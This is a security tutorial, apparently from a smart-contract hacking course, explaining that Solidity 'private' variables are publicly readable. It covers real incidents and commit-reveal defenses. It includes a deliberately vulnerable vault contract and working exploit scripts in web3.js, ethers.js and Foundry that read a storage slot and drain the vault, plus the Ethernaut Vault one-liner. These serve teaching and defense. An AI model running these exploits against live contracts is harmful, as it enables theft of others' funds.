Sensitive On Chain Data
Smart Contract Vulnerability Deep Dive
Sensitive On-Chain Data: The Complete Guide to Detection and Prevention
Every single byte you store on a public blockchain is just that - public. The Solidity private keyword probably fools more Web3 developers than any clever exploit ever written. Why? Because it only controls contract-level access, not data visibility. If your smart contract stores passwords, secret keys, game answers, or auction bids as state variables, a hacker can read them in seconds with a single RPC call.
private in Solidity. The private keyword only blocks other contracts from calling the variable through Solidity-level access. It does not hide the underlying storage slot from RPC calls, block explorers, archive nodes, or transaction traces.In this comprehensive guide, we'll dive deep into Solidity storage layout mechanics, break down the infamous CVE-rated "All For One" gambling exploit, and walk through real-world CTF challenges. More importantly, you'll learn production-ready commit-reveal patterns that actually keep your sensitive on-chain data hidden.
What Exactly is Sensitive On-Chain Data?
Sensitive on-chain data refers to confidential information - like passwords, private seeds, game answers, or bid amounts - stored inside a smart contract's state variables. Developers often mistakenly believe this data is hidden just because they slapped a private or internal visibility keyword on it.
Here's the dangerous misconception: in Solidity, private simply means other smart contracts cannot call a getter function for that specific variable. The underlying data itself? It's still sitting right there in the Ethereum world state, replicated across thousands of full nodes, and perfectly readable to anyone with a basic RPC endpoint and a block explorer.
Are Solidity Private Variables Visible on the Blockchain?
Yes. Solidity private variables are visible on-chain if they are stored in contract state.
The visibility modifier controls the Solidity interface, not blockchain confidentiality. A private state variable does not get an automatic public getter, and child contracts cannot access it directly, but the value still lives in EVM storage. Anyone can inspect that storage with tools like eth_getStorageAt, Foundry's cast storage, a block explorer, or an archive-node query.
This is why private variables must not store secrets, passwords, unrevealed bids, random seeds, game answers, API keys, or anything that needs to stay hidden before execution. If the value affects money or permissions, assume a motivated attacker can read it.
The Glass Safe Analogy
Picture your smart contract as a transparent glass safe dropped right in the middle of a bustling public square.
Marking a variable private is like taping a tiny paper "Do Not Look" sign onto that glass. Sure, other "safes" (smart contracts) will politely respect your sign and won't try to mechanically reach inside. But any random person (an off-chain observer or block explorer) walking by can still stare right through the glass and see your valuables. The sign is just a polite request - it doesn't make the glass opaque.
- Official Solidity Documentation, Security Considerations. This single sentence explains every sensitive data exploit in blockchain history.
Why Sensitive On-Chain Data Is So Dangerously Tempting
On-chain data exposure vulnerabilities look harmless at a glance. It's just a variable, after all. Yet, this simple misunderstanding has fueled some of the most jaw-dropping exploits in blockchain history:
| Attack / Incident | Year | Impact |
|---|---|---|
| SmartBillions Lottery | 2017 | 400 ETH ($120K) drained via predictable on-chain data |
| All For One Gambling (CVE-2018-12056) | 2018 | Private _seed read via getStorageAt, game rigged |
| Fomo3D Airdrop Exploit | 2018 | $12M+ at risk from predictable on-chain state |
| Meebits NFT Re-roll | 2021 | ~$700K in rare NFTs sniped via on-chain metadata |
| Ethernaut CTF (Vault + Privacy) | Ongoing | Thousands of developers fail these challenges yearly |
Sensitive on-chain data exposure is classified as SWC-136 in the Smart Contract Weakness Classification Registry, mapped to CWE-767: Access to Critical Private Variable via Public Method.
What private Actually Controls
The last column is always "Yes" because blockchain storage is always publicly readable regardless of the Solidity visibility specifier. This is the fundamental truth that catches developers off guard.
The "All For One" Gambling Exploit (CVE-2018-12056) 💥
This wasn't just a CTF challenge - it was a CVE-rated vulnerability in a live Ethereum gambling game with real money on the line.
What Was "All For One"?
"All For One" was an extremely popular Ethereum gambling DApp where risk-takers bet 0.1 ETH on supposedly random outcomes. The smart contract generated these "random" numbers by mixing a private seed variable with some block data.
The Developers' Fatal Assumption: "Since _seed is set to private, absolutely nobody can read it. Our randomness is uncrackable!"
The Brutal Reality: The _seed was hanging out in a plain text storage slot, completely readable by anyone passing by.
The Exploit: CVE-2018-12056
Security researcher Jonghyuk Song discovered that the maxRandom() function generated random values using keccak256(_seed, blockhash(block.number-1), block.coinbase, block.difficulty).
The problem? Every single input was public:
-
_seed→ readable viaweb3.eth.getStorageAt(contractAddress, slotNumber) -
blockhash,block.coinbase,block.difficulty→ public block properties
The attacker simply read the private seed, computed the exact same hash, and knew the outcome before placing their bet.
CVSS Score: 7.5 (HIGH) - CWE-338: Use of Cryptographically Weak PRNG
The game was patched by switching to the Oraclize (now Provable) oracle library for randomness and making the draw() function private. But the damage was done - the vulnerability demonstrated that any contract using private variables as secret inputs is fundamentally broken.
SmartBillions: $120,000 Challenge Backfires
In October 2017, SmartBillions launched a bold hackathon challenging anyone to find vulnerabilities, with 1,500 ETH ($500,000) at stake. Within days, a hacker exploited their on-chain lottery by waiting 256 blocks and predicting the "random" outcome from publicly readable state data. 400 ETH ($120,000) was drained.
The team launched a second hackathon after patching - proving that even confident developers underestimate blockchain transparency.
Want to execute storage-reading attacks yourself in a safe lab? The Smart Contract Hacking course includes hands-on exercises where you'll read private variables, crack on-chain passwords, and exploit storage layouts - exactly like real security researchers do.
How On-Chain Data Exposure Works: A Step-by-Step Breakdown
Mastering how Solidity actually handles its storage layout under the hood is the key to cracking any "private" variable wide open.
EVM Storage Layout Basics
Every smart contract has 2^256 storage slots, each 32 bytes wide. State variables are assigned to slots sequentially starting from slot 0.
| Slot | Variable | Size | Notes |
|---|---|---|---|
| 0 | uint256 count |
32 bytes | Full slot |
| 1 | address owner + bool isActive + uint16 version |
20 + 1 + 2 = 23 bytes | Packed together |
| 2 | bytes32 password |
32 bytes | Full slot - "private" but readable! |
| 3 | mapping(address => uint) |
Reserved | Values at keccak256(key, 3) |
Variable Packing Rules
Multiple variables smaller than 32 bytes can be packed into one slot:
contract StorageLayout {
uint256 public count; // Slot 0 (32 bytes - full slot)
address public owner; // Slot 1 (20 bytes)
bool public isActive; // Slot 1 (1 byte - packed with owner)
uint16 public version; // Slot 1 (2 bytes - packed with owner + isActive)
bytes32 private password; // Slot 2 (32 bytes - full slot, "private" but readable!)
}
The Attack Flow
The attacker finds a contract that stores sensitive data (passwords, seeds, answers) in state variables - even if marked private.
The attacker decompiles the bytecode or reads the verified source code to determine which slot each variable occupies. They account for packing, mappings, and arrays.
Using web3.eth.getStorageAt(contractAddress, slotNumber) or Foundry's cast storage, the attacker reads the raw 32-byte value from the target slot.
The attacker decodes the hex value to its original type (string, uint, bytes32) and uses it - unlocking vaults, predicting randomness, front-running bids, or draining funds.
Reading Mappings and Dynamic Arrays
For more complex storage types:
Mappings (at slot p, key k):
valueSlot = keccak256(abi.encode(k, p))
Dynamic arrays (at slot p):
length stored at slot p
element[i] at keccak256(p) + i
{
"title": "🎬 'private' is not secret: reading the vault's storage slot",
"stage": { "width": 920, "height": 440 },
"nodes": [
{ "id": "attacker", "label": "Attacker", "role": "reads + claims", "emoji": "🧑💻", "x": 60, "y": 200, "color": "red" },
{ "id": "vault", "label": "SecretVault", "role": "guess == secret pays", "emoji": "🏦", "x": 440, "y": 60, "color": "cyan" },
{ "id": "storage", "label": "Storage slot 1", "role": "where secret lives", "emoji": "🗄️", "x": 440, "y": 330, "color": "slate" }
],
"links": [
{ "from": "vault", "to": "storage" },
{ "from": "storage", "to": "attacker" },
{ "from": "attacker", "to": "vault" }
],
"nets": [
{ "id": "atk", "label": "Attacker" },
{ "id": "vault", "label": "Vault balance" }
],
"legend": [
{ "cls": "call", "label": "read / call" },
{ "cls": "token", "label": "ETH payout" },
{ "cls": "sig", "label": "state" },
{ "cls": "fail", "label": "useless / blocked" }
],
"scenarios": {
"Vulnerable (secret stored on-chain)": [
{ "note": "SecretVault holds 10 ETH and pays whoever passes the right <b>secret</b>. The dev marked it <code>private</code>, assuming it is hidden.", "hi": ["vault","storage"], "bal": { "vault": "10 ETH", "storage": "secret: plaintext" }, "net": { "vault": "10 ETH", "atk": "0" } },
{ "note": "But <code>private</code> only blocks other <i>contracts</i> - the value sits in plaintext at <b>storage slot 1</b>.", "hi": ["storage"] },
{ "note": "The attacker reads it off-chain: <b>getStorageAt(vault, 1)</b> - no transaction, no trace.", "tone": "bad", "hi": ["storage","attacker"], "chip": { "from": "storage", "to": "attacker", "label": "👀 getStorageAt(slot 1)", "cls": "call" }, "bal": { "attacker": "knows the secret" } },
{ "note": "Now they call <b>claimFunds('s3cr3t')</b> with the exact secret.", "tone": "bad", "hi": ["attacker","vault"], "chip": { "from": "attacker", "to": "vault", "label": "📞 claimFunds(secret)", "cls": "call" } },
{ "note": "The guess matches, so the vault pays out its entire balance.", "tone": "bad", "hi": ["vault","attacker"], "chip": { "from": "vault", "to": "attacker", "label": "💸 10 ETH", "cls": "token" }, "bal": { "vault": "0 ETH", "attacker": "+10 ETH" }, "net": { "vault": "0", "atk": "+10 ETH" } }
],
"Fixed (commit-reveal hash)": [
{ "note": "The fix never stores the secret. It stores only its salted <b>hash</b> (the commit), set at deploy.", "hi": ["vault"], "bal": { "vault": "10 ETH", "storage": "keccak(secret) only" }, "net": { "vault": "10 ETH", "atk": "0" } },
{ "note": "The attacker reads slot 1 - but finds only a one-way <b>hash</b>, useless for recovering the secret.", "tone": "ok", "hi": ["storage","attacker"], "chip": { "from": "storage", "to": "attacker", "label": "reads a hash", "cls": "fail" } },
{ "note": "To claim, you must <b>reveal</b> the real preimage; the contract checks keccak(reveal) == stored hash. Only someone who knew it up front passes.", "tone": "ok", "hi": ["attacker","vault"], "chip": { "from": "attacker", "to": "vault", "label": "needs the preimage", "cls": "fail" } },
{ "note": "With nothing readable to exploit, the vault stays funded.", "tone": "ok", "hi": ["vault"], "bal": { "vault": "10 ETH safe" }, "net": { "vault": "10 ETH", "atk": "0" } }
]
}
}
Sensitive On-Chain Data Vulnerable Code Example
Let's examine a realistic vulnerable contract - a password-protected vault.
This contract is intentionally vulnerable. Never use this pattern in production.
The Vulnerable Vault
// VULNERABLE CONTRACT - DO NOT USE IN PRODUCTION
contract SecretVault {
uint256 public creationTime;
string private secret; // VULNERABILITY: "private" does NOT hide this!
address private creator;
bool private isActive;
uint8 private version;
constructor(string memory _secret) payable {
creationTime = block.timestamp;
secret = _secret; // Stored in plaintext on-chain forever
creator = msg.sender;
isActive = true;
version = 1;
}
function claimFunds(string memory _guess) external {
// Comparing against a "secret" that anyone can read
require(
keccak256(abi.encodePacked(_guess)) ==
keccak256(abi.encodePacked(secret)),
"Wrong secret"
);
isActive = false;
payable(msg.sender).transfer(address(this).balance);
}
receive() external payable {}
}
Storage Layout Analysis
| Slot | Variable | Type | Size | Readable? |
|---|---|---|---|---|
| 0 | creationTime |
uint256 | 32 bytes | Yes (public) |
| 1 | secret |
string | 32 bytes (short string metadata) | Yes - despite private! |
| 2 | creator |
address | 20 bytes | Yes - despite private! |
| 3 | isActive + version |
bool + uint8 | 1 + 1 bytes (packed) | Yes - despite private! |
Why Is This Vulnerable?
-
The
secretstring is stored in plaintext at slot 1 -
The
privatekeyword only prevents other contracts from calling a getter -
Any off-chain tool can read slot 1 directly from the blockchain
-
Constructor arguments are also visible in the deployment transaction data
-
Even without verified source code, the bytecode can be decompiled
Reading Private Data: Attacker Exploit
Here's how an attacker reads the "secret" and drains the vault using three different tools.
Method 1: Web3.js (Browser Console)
// EDUCATIONAL EXPLOIT - Demonstrates why private ≠ secret
// Step 1: Read the "private" secret from slot 1
const secretHex = await web3.eth.getStorageAt(
"0xVaultContractAddress",
1 // slot number where 'secret' is stored
);
// Step 2: Decode the hex to a readable string
const secret = web3.utils.hexToAscii(secretHex);
console.log("The 'private' secret is:", secret);
// Output: "SuperSecurePassword123"
// Step 3: Call claimFunds with the stolen secret
await vault.claimFunds(secret);
// Vault drained!
Method 2: Foundry (cast storage)
# Read slot 1 of the deployed contract
cast storage 0xVaultContractAddress 1 --rpc-url https://rpc.flashbots.net/
# Output: 0x537570657253656375726550617373776f72643132330000000000000000002c
# Decode: "SuperSecurePassword123"
Method 3: Ethers.js
const secretHex = await provider.getStorage(
"0xVaultContractAddress",
1
);
const secret = ethers.toUtf8String(secretHex);
console.log(secret); // "SuperSecurePassword123"
Method 4: Foundry Test Script
// ATTACKER SCRIPT - Educational purposes only
contract ExploitVault is Script {
function run() external {
address vault = 0xVaultContractAddress;
// Read the "private" secret from slot 1
bytes32 rawSecret = vm.load(vault, bytes32(uint256(1)));
string memory secret = string(abi.encodePacked(rawSecret));
// Drain the vault
vm.startBroadcast();
SecretVault(payable(vault)).claimFunds(secret);
vm.stopBroadcast();
}
}
Attack Summary
-
Identify the storage slot from the contract's variable declarations
-
Read the slot using
getStorageAtorcast storage -
Decode the hex value to its original type
-
Exploit - use the secret to drain funds, predict randomness, or front-run bids
In real attacks, the entire process takes under 60 seconds. No special tools required - just a browser console and an RPC endpoint.
Ready to write storage-reading exploits like this yourself? The Smart Contract Hacking course covers on-chain data exposure in-depth with real-world scenarios. Learn from JohnnyTime (12+ years in cybersecurity) and Trust (#1 Code4rena warden).
How to Prevent On-Chain Data Exposure: Best Practices
Preventing sensitive data exposure requires a fundamental mindset shift: assume that everything on-chain is public, and design your architecture accordingly.
1. Never Store Secrets On-Chain
The simplest and most effective rule. If data should be secret, it should not exist on the blockchain - not as a state variable, not as a constructor argument, not as calldata.
2. Use Commit-Reveal Schemes
For scenarios where participants must submit hidden values (votes, bids, game answers), use a two-phase approach:
Phase 1 - Commit: Users submit keccak256(value + secret salt). The hash reveals nothing about the actual value.
Phase 2 - Reveal: After all commitments are in, users reveal their original values. The contract verifies each reveal matches its commitment.
3. Store Hashes Instead of Plaintext
If you need to verify a secret on-chain, store only the hash:
// GOOD: Store hash, verify against it
bytes32 private secretHash;
constructor(bytes32 _secretHash) {
secretHash = _secretHash; // Only the hash is on-chain
}
function verify(string memory _secret) external {
require(keccak256(abi.encodePacked(_secret)) == secretHash);
}
4. Keep Sensitive Data Off-Chain
Store secrets in traditional databases, encrypted cloud storage, or secure hardware modules. Only store cryptographic commitments (hashes) on-chain.
5. Use Zero-Knowledge Proofs
For advanced privacy needs, ZK proofs allow you to prove a statement is true without revealing the underlying data. This is used by protocols like Tornado Cash for private transactions and by ENS for private domain registration.
Prevention Effectiveness Comparison
What it does: Eliminates the vulnerability entirely by keeping all confidential data off-chain.
When to use: Always. This is the default stance - you need a strong reason to deviate from it.
Limitation: Some use cases (sealed bids, voting) inherently require on-chain commitment of hidden values.
What it does: Splits the process into two phases - commit (hash) and reveal (plaintext). Data is hidden until the reveal window opens.
When to use: Auctions, voting, games, any scenario where participants submit hidden values that are later revealed.
Limitation: Requires two transactions per participant (higher gas costs). If a participant refuses to reveal, the scheme needs timeout and penalty logic.
What it does: Stores only the keccak256 hash of sensitive data. The original value never touches the blockchain.
When to use: Password verification, access codes, any secret that needs on-chain verification.
Limitation: If the secret has low entropy (e.g., a 4-digit PIN), the hash can be brute-forced off-chain. Always use a salt.
What it does: Encrypts data client-side before storing it on-chain. Only key-holders can decrypt.
When to use: When data must be on-chain but private to specific parties.
Limitation: Key management is hard. Compromised keys break everything. Data is immutable - access cannot be revoked. Future cryptographic breakthroughs could compromise historical data.

Secure Implementation: Commit-Reveal Pattern
Here's a production-ready sealed-bid auction using the commit-reveal pattern - the standard approach for handling confidential on-chain interactions.
// SECURE CONTRACT - Production-ready Commit-Reveal Auction
contract SealedBidAuction {
address public owner;
uint256 public commitDeadline;
uint256 public revealDeadline;
address public highestBidder;
uint256 public highestBid;
struct Commitment {
bytes32 hash;
bool revealed;
}
mapping(address => Commitment) public commitments;
mapping(address => uint256) public pendingReturns;
event BidCommitted(address indexed bidder);
event BidRevealed(address indexed bidder, uint256 amount);
event AuctionEnded(address winner, uint256 amount);
constructor(uint256 _commitDuration, uint256 _revealDuration) {
owner = msg.sender;
commitDeadline = block.timestamp + _commitDuration;
revealDeadline = commitDeadline + _revealDuration;
}
// PHASE 1: COMMIT - Submit hash of (bid amount + secret salt)
// Nobody can see the actual bid amount!
function commitBid(bytes32 _hash) external payable {
require(block.timestamp < commitDeadline, "Commit phase ended");
require(commitments[msg.sender].hash == bytes32(0), "Already committed");
require(msg.value > 0, "Must send collateral");
commitments[msg.sender] = Commitment({
hash: _hash,
revealed: false
});
emit BidCommitted(msg.sender);
}
// PHASE 2: REVEAL - Prove your bid matches your commitment
function revealBid(uint256 _bidAmount, bytes32 _salt) external {
require(block.timestamp >= commitDeadline, "Still in commit phase");
require(block.timestamp < revealDeadline, "Reveal phase ended");
Commitment storage c = commitments[msg.sender];
require(c.hash != bytes32(0), "No commitment found");
require(!c.revealed, "Already revealed");
// STEP 1: VERIFY - Hash must match the original commitment
require(
keccak256(abi.encodePacked(_bidAmount, _salt)) == c.hash,
"Hash mismatch"
);
c.revealed = true;
// STEP 2: UPDATE - Track highest bid
if (_bidAmount > highestBid) {
if (highestBidder != address(0)) {
pendingReturns[highestBidder] += highestBid;
}
highestBid = _bidAmount;
highestBidder = msg.sender;
} else {
pendingReturns[msg.sender] += _bidAmount;
}
emit BidRevealed(msg.sender, _bidAmount);
}
function withdraw() external {
uint256 amount = pendingReturns[msg.sender];
require(amount > 0, "Nothing to withdraw");
pendingReturns[msg.sender] = 0;
payable(msg.sender).transfer(amount);
}
}
How Bidders Create Their Commitment
// Client-side (off-chain) - generate the commitment hash
const bidAmount = ethers.parseEther("5.0");
const salt = ethers.randomBytes(32); // Random salt - keep this secret!
// This hash is all that goes on-chain during the commit phase
const commitHash = ethers.solidityPackedKeccak256(
["uint256", "bytes32"],
[bidAmount, salt]
);
// Submit the hash (nobody can reverse-engineer the bid amount)
await auction.commitBid(commitHash, { value: ethers.parseEther("10.0") });
// Later, during the reveal phase:
await auction.revealBid(bidAmount, salt);
Security Features at a Glance
| Feature | Protection |
|---|---|
| Two-phase commit-reveal | Bids hidden until reveal window |
keccak256 commitment |
Computationally infeasible to reverse |
| Random salt per bid | Prevents rainbow table attacks |
| Time-bounded phases | Enforces fair reveal deadlines |
| Collateral requirement | Prevents spam commitments |
This implementation follows the same commit-reveal pattern used by ENS domain registration (ERC-5732) - the gold standard for preventing front-running and information leakage on-chain.
These advanced patterns separate junior auditors from senior researchers. The Smart Contract Hacking course covers commit-reveal schemes, storage layout attacks, and front-running alongside flash loans, oracle manipulation, and more. Join 2,000+ security researchers in our Discord community.
Advanced On-Chain Data Exposure Patterns
Beyond simple storage reads, attackers have multiple vectors for extracting sensitive data.
1. Constructor Arguments in Deployment Data
Even if a secret is never stored in a state variable, the deployment transaction's input data contains the constructor arguments in plaintext. This data is permanently and publicly recorded.
// The password is visible in the deployment tx calldata - forever
constructor(bytes32 _password) {
passwordHash = keccak256(abi.encodePacked(_password));
// Even though only the hash is stored, the original _password
// is visible in the transaction that deployed this contract!
}
2. Transaction Calldata Exposure (Mempool Sniping)
When a user submits a transaction, the calldata is visible in the public mempool before it's mined. MEV bots and front-runners can:
-
Read "secret" function parameters from pending transactions
-
Front-run the transaction with their own using the extracted data
-
Sandwich the transaction for profit
Defense: Use Flashbots Protect to submit transactions via a private mempool - hiding them from front-runners until inclusion.
3. Reading Packed Variables
When multiple variables share a slot, the attacker reads the full 32-byte slot and extracts individual values using bit masking:
// Slot 1 contains: address(20 bytes) + bool(1 byte) + uint16(2 bytes)
const slotData = await web3.eth.getStorageAt(contract, 1);
// Extract packed values (right-aligned, lower-order first)
const version = parseInt(slotData.slice(-4), 16); // Last 2 bytes
const isActive = parseInt(slotData.slice(-6, -4), 16); // Next 1 byte
const owner = "0x" + slotData.slice(-46, -6); // Next 20 bytes
Advanced Attack Variations
Mempool Front-Running
Attackers monitor pending transactions for secrets in calldata. Your "hidden" reveal transaction is visible to MEV bots before it's mined - they can extract and front-run it.
Storage Slot Brute-Force
Even without source code, attackers decompile bytecode and systematically read slots 0 through N. Tools like cast storage display the full layout of verified contracts automatically.
Ethernaut Vault & Privacy
OpenZeppelin's Ethernaut challenges teach this exact attack. Level 8 (Vault) and Level 12 (Privacy) are solved entirely by reading "private" storage slots - thousands of developers fail these yearly.
Ethernaut Vault: The Classic 60-Second Exploit
The Ethernaut Level 8 "Vault" challenge is the definitive educational example:
// The Ethernaut Vault contract
contract Vault {
bool public locked; // Slot 0
bytes32 private password; // Slot 1 - "private" but readable!
constructor(bytes32 _password) {
locked = true;
password = _password;
}
function unlock(bytes32 _password) public {
if (password == _password) {
locked = false;
}
}
}
The entire exploit in one line:
// Read slot 1, call unlock - done.
await contract.unlock(await web3.eth.getStorageAt(contract.address, 1));
Common Misconceptions
"Marking a variable private hides it from everyone."
private only prevents other contracts from accessing the variable through Solidity. The data is still stored on every full node and readable via eth_getStorageAt, block explorers, and decompilation tools.
"If my contract isn't verified on Etherscan, nobody can read my variables."
Tap to revealVerification only makes the source code human-readable. Attackers can decompile bytecode, analyze transaction calldata, or simply read raw storage slots - no source code needed. The storage layout is deterministic.
"Encrypting data before storing it on-chain makes it permanently safe."
Tap to revealOn-chain data is immutable. If the encryption key is ever compromised - or cryptographic advances break the algorithm - all historical data becomes readable. Blockchain data is forever; today's encryption may not be.
"Commit-reveal schemes are immune to front-running."
Tap to revealCommit-reveal protects against data snooping during the commit phase. However, the reveal transaction itself is visible in the mempool. For full protection, combine commit-reveal with Flashbots Protect or submarine sends to hide the reveal from MEV bots.
Related Vulnerabilities
Sensitive on-chain data exposure is closely connected to several other attack classes, and attackers often chain them together for maximum impact.
Access Control Attacks frequently compound data exposure issues - when a "private" admin key or backdoor password is stored on-chain, the lack of data privacy becomes an access control vulnerability. Similarly, Weak Randomness attacks are fundamentally a data exposure problem: contracts that derive "random" numbers from readable on-chain state (private seeds, block variables) give attackers perfect prediction. Front-running attacks also depend on data visibility - when secrets are submitted as transaction calldata, MEV bots in the mempool can read and exploit them before the transaction is mined.
Frequently Asked Questions About Sensitive On-Chain Data
Yes. The private keyword in Solidity only restricts access at the smart contract level - other contracts cannot call a getter function. However, all storage data is publicly readable by anyone using web3.eth.getStorageAt(), Foundry's cast storage, or raw JSON-RPC calls. "Private" in Solidity means "not externally callable," not "hidden from observers."
State variables are assigned to slots sequentially starting from slot 0, in declaration order. Variables smaller than 32 bytes may be packed together. For verified contracts, Foundry's cast storage <address> (without a slot number) displays the complete layout. For unverified contracts, you can decompile the bytecode or calculate slots based on the Solidity storage layout rules.
SWC-136 (Unencrypted Private Data On-Chain) is the official Smart Contract Weakness Classification for this vulnerability, mapped to CWE-767. It formally documents that storing unencrypted sensitive data in contract state - regardless of visibility modifiers - is a security weakness. It matters because audit firms and security tools specifically check for this pattern.
A commit-reveal scheme splits the process into two phases. In Phase 1, participants submit only a keccak256 hash of their value plus a random salt - this reveals nothing about the actual value. In Phase 2, they reveal the original value and salt; the contract verifies the hash matches. This way, sensitive data is never stored in plaintext on-chain during the critical period. ENS domain registration uses this exact pattern.
Yes. Constructor arguments are embedded in the deployment transaction's input data, which is permanently and publicly recorded on-chain. Even if the constructor stores only a hash of the argument, the original plaintext value is visible in the deployment transaction calldata. Never pass secrets as constructor parameters.
Test Your On-Chain Data IQ
Test Your On-Chain Data IQ
5 questions. How well do you really understand blockchain data privacy?
Quick Reference: Prevention Checklist
Use this checklist before deploying any contract that handles sensitive data:
-
No plaintext secrets in state variables - passwords, keys, seeds, API keys
-
No secrets in constructor arguments - they're visible in deployment calldata
-
Hashes instead of plaintext - store
keccak256(value + salt), not the value itself -
Commit-reveal for multi-party secrets - auctions, voting, games
-
Salt all hashes - prevent rainbow table / brute-force attacks
-
Off-chain storage for truly private data - databases, IPFS + encryption
-
Private mempool for reveals - Flashbots Protect to hide reveal transactions
-
Audit storage layout - verify no unexpected data is exposed via packed slots
-
Review deployment transactions - check that constructor args don't leak secrets
Take Your Security Skills to the Next Level
Understanding sensitive on-chain data is just the beginning. To become a professional smart contract auditor, you need hands-on experience with real exploit scenarios - from storage-slot reading to commit-reveal bypasses.
The Smart Contract Hacking course delivers:
-
320+ videos covering on-chain data exposure, flash loans, oracle manipulation, and more
-
40+ hands-on exercises exploiting and securing real contracts
-
Expert instruction from JohnnyTime, Trust (#1 Code4rena warden), and Pashov
-
2,000+ member Discord for support and job opportunities
-
SSCH Certification to validate your expertise
Our students win audit contests, land security jobs, and earn significant bug bounties. See their success stories.
Sources and editorial notes
Reviewed by JohnnyTime. Last updated .
Master Sensitive On Chain Data in a safe lab
Practice the exploit path, debug the vulnerable code, and learn the prevention workflow auditors use in real reviews.